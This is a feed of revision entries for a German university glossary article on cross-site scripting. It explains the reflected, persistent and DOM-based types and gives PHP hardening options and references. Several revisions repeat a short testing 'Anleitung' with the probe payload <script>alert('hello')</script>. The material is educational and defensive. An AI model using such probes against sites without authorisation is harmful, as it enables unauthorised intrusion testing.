geprüft werden, ob der eingetragene String (&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;) im HTML-Code der&lt;br /&gt;
Seite auftaucht oder nicht.&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt&lt;br /&gt;
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu&lt;br /&gt;
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,&lt;br /&gt;
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend&lt;br /&gt;
kurz vorgestellt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– allow_url_fopen = off&amp;lt;/b&amp;gt;&lt;br /&gt;
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit&lt;br /&gt;
können keine Skripte von externen Servern mehr ausgeführt werden.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– open_basedir = /pfad/zum/www-ordner&amp;lt;/b&amp;gt;&lt;br /&gt;
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht&lt;br /&gt;
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses&lt;br /&gt;
Verzeichnisses können weiterhin benutzt werden.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– save-mode = on&amp;lt;/b&amp;gt;&lt;br /&gt;
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.&lt;br /&gt;
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine&lt;br /&gt;
weitere Steuerung ist durch weitere Optionen dennoch möglich.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– display_errors = off&amp;lt;/b&amp;gt;&lt;br /&gt;
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade&lt;br /&gt;
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von&lt;br /&gt;
Fehlermeldungen zu unterbinden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher&lt;br /&gt;
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.&lt;br /&gt;
Steuerzeichen durch ihre Escapesequenzen ersetzen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
&lt;br /&gt;
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&lt;br /&gt;
&lt;br /&gt;
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&lt;br /&gt;
&lt;br /&gt;
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&lt;br /&gt;
&lt;br /&gt;
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&lt;br /&gt;
&lt;br /&gt;
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&lt;br /&gt;
&lt;br /&gt;
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&lt;br /&gt;
&lt;br /&gt;
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&lt;br /&gt;
&lt;br /&gt;
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
[[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Codeinjection]]&lt;br /&gt;
&lt;br /&gt;
[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9661</id>
		<title>Cross Site Scripting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9661"/>
		<updated>2007-06-25T14:40:43Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,&lt;br /&gt;
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten&lt;br /&gt;
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des&lt;br /&gt;
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.&lt;br /&gt;
&lt;br /&gt;
Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der&lt;br /&gt;
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle&lt;br /&gt;
Informationen.&lt;br /&gt;
&lt;br /&gt;
Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,&lt;br /&gt;
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte&lt;br /&gt;
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern&lt;br /&gt;
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um&lt;br /&gt;
den angegriffenen Server unerreichbar zu machen.&lt;br /&gt;
&lt;br /&gt;
==Reflektiertes XSS==&lt;br /&gt;
&lt;br /&gt;
Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und&lt;br /&gt;
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In&lt;br /&gt;
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server&lt;br /&gt;
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch&lt;br /&gt;
eine E-Mail Adresse sein.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer&lt;br /&gt;
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation&lt;br /&gt;
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu&lt;br /&gt;
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.&lt;br /&gt;
&lt;br /&gt;
==Persistentes (beständiges) XSS==&lt;br /&gt;
&lt;br /&gt;
Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen&lt;br /&gt;
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird&lt;br /&gt;
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch&lt;br /&gt;
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,&lt;br /&gt;
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.&lt;br /&gt;
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage&lt;br /&gt;
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den&lt;br /&gt;
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten&lt;br /&gt;
HTML-Code vorfinden.&lt;br /&gt;
&lt;br /&gt;
==Lokales ([[DOM]]-basiertes) XSS==&lt;br /&gt;
&lt;br /&gt;
Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff&lt;br /&gt;
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen&lt;br /&gt;
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache&lt;br /&gt;
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in&lt;br /&gt;
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code&lt;br /&gt;
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den&lt;br /&gt;
Angreifer weitergeleitet werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im&lt;br /&gt;
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies&lt;br /&gt;
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf&lt;br /&gt;
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,&lt;br /&gt;
da der lokale Benutzer oft gleichzeitig der Administrator ist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und&lt;br /&gt;
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der&lt;br /&gt;
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung&lt;br /&gt;
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers&lt;br /&gt;
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser&lt;br /&gt;
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.&lt;br /&gt;
&lt;br /&gt;
==XSS – eine kleine „Anleitung“==&lt;br /&gt;
&lt;br /&gt;
Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit&lt;br /&gt;
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer&lt;br /&gt;
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,&lt;br /&gt;
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen&lt;br /&gt;
kann ein Anzeichen für die Anfälligkeit auf XSS sein.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.&lt;br /&gt;
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,&lt;br /&gt;
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer&lt;br /&gt;
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses&lt;br /&gt;
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in&lt;br /&gt;
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte&lt;br /&gt;
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.&lt;br /&gt;
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS&lt;br /&gt;
geschützt ist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.&lt;br /&gt;
„&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,&lt;br /&gt;
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen&lt;br /&gt;
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da&lt;br /&gt;
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite&lt;br /&gt;
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und&lt;br /&gt;
geprüft werden, ob der eingetragene String (&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;) im HTML-Code der&lt;br /&gt;
Seite auftaucht oder nicht.&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt&lt;br /&gt;
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu&lt;br /&gt;
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,&lt;br /&gt;
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend&lt;br /&gt;
kurz vorgestellt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– allow_url_fopen = off&amp;lt;/b&amp;gt;&lt;br /&gt;
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit&lt;br /&gt;
können keine Skripte von externen Servern mehr ausgeführt werden.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– open_basedir = /pfad/zum/www-ordner&amp;lt;/b&amp;gt;&lt;br /&gt;
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht&lt;br /&gt;
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses&lt;br /&gt;
Verzeichnisses können weiterhin benutzt werden.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– save-mode = on&amp;lt;/b&amp;gt;&lt;br /&gt;
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.&lt;br /&gt;
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine&lt;br /&gt;
weitere Steuerung ist durch weitere Optionen dennoch möglich.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;– display_errors = off&amp;lt;/b&amp;gt;&lt;br /&gt;
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade&lt;br /&gt;
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von&lt;br /&gt;
Fehlermeldungen zu unterbinden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher&lt;br /&gt;
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.&lt;br /&gt;
Steuerzeichen durch ihre Escapesequenzen ersetzen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
&lt;br /&gt;
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&lt;br /&gt;
&lt;br /&gt;
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&lt;br /&gt;
&lt;br /&gt;
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&lt;br /&gt;
&lt;br /&gt;
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&lt;br /&gt;
&lt;br /&gt;
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&lt;br /&gt;
&lt;br /&gt;
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&lt;br /&gt;
&lt;br /&gt;
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&lt;br /&gt;
&lt;br /&gt;
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
[[SQL Injection]]&lt;br /&gt;
[[Codeinjection]]&lt;br /&gt;
[[Whitelisting]]&lt;br /&gt;
[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9660</id>
		<title>Cross Site Scripting</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Cross_Site_Scripting&amp;diff=9660"/>
		<updated>2007-06-25T14:37:29Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,&lt;br /&gt;
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.&lt;br /&gt;
&lt;br /&gt;
XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten&lt;br /&gt;
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des&lt;br /&gt;
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.&lt;br /&gt;
&lt;br /&gt;
Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.&lt;br /&gt;
&lt;br /&gt;
Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der&lt;br /&gt;
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle&lt;br /&gt;
Informationen.&lt;br /&gt;
&lt;br /&gt;
Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.&lt;br /&gt;
&lt;br /&gt;
XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,&lt;br /&gt;
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte&lt;br /&gt;
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern&lt;br /&gt;
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um&lt;br /&gt;
den angegriffenen Server unerreichbar zu machen.&lt;br /&gt;
&lt;br /&gt;
=2.1 Reflektiertes XSS=&lt;br /&gt;
&lt;br /&gt;
Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und&lt;br /&gt;
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In&lt;br /&gt;
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server&lt;br /&gt;
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch&lt;br /&gt;
eine E-Mail Adresse sein.&lt;br /&gt;
&lt;br /&gt;
Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer&lt;br /&gt;
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation&lt;br /&gt;
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu&lt;br /&gt;
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.&lt;br /&gt;
&lt;br /&gt;
=2.2 Persistentes (beständiges) XSS=&lt;br /&gt;
&lt;br /&gt;
Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen&lt;br /&gt;
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird&lt;br /&gt;
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch&lt;br /&gt;
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,&lt;br /&gt;
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.&lt;br /&gt;
&lt;br /&gt;
Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.&lt;br /&gt;
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage&lt;br /&gt;
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den&lt;br /&gt;
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten&lt;br /&gt;
HTML-Code vorfinden.&lt;br /&gt;
&lt;br /&gt;
=2.3 Lokales ([[DOM]]-basiertes) XSS=&lt;br /&gt;
&lt;br /&gt;
Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff&lt;br /&gt;
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen&lt;br /&gt;
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.&lt;br /&gt;
&lt;br /&gt;
Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache&lt;br /&gt;
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in&lt;br /&gt;
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code&lt;br /&gt;
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den&lt;br /&gt;
Angreifer weitergeleitet werden.&lt;br /&gt;
&lt;br /&gt;
Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im&lt;br /&gt;
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies&lt;br /&gt;
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf&lt;br /&gt;
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,&lt;br /&gt;
da der lokale Benutzer oft gleichzeitig der Administrator ist.&lt;br /&gt;
&lt;br /&gt;
Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und&lt;br /&gt;
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der&lt;br /&gt;
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung&lt;br /&gt;
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers&lt;br /&gt;
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser&lt;br /&gt;
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.&lt;br /&gt;
&lt;br /&gt;
=2.4 XSS – eine kleine „Anleitung“=&lt;br /&gt;
&lt;br /&gt;
Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit&lt;br /&gt;
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer&lt;br /&gt;
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,&lt;br /&gt;
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen&lt;br /&gt;
kann ein Anzeichen für die Anfälligkeit auf XSS sein.&lt;br /&gt;
&lt;br /&gt;
Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.&lt;br /&gt;
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,&lt;br /&gt;
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer&lt;br /&gt;
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.&lt;br /&gt;
&lt;br /&gt;
Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses&lt;br /&gt;
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in&lt;br /&gt;
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte&lt;br /&gt;
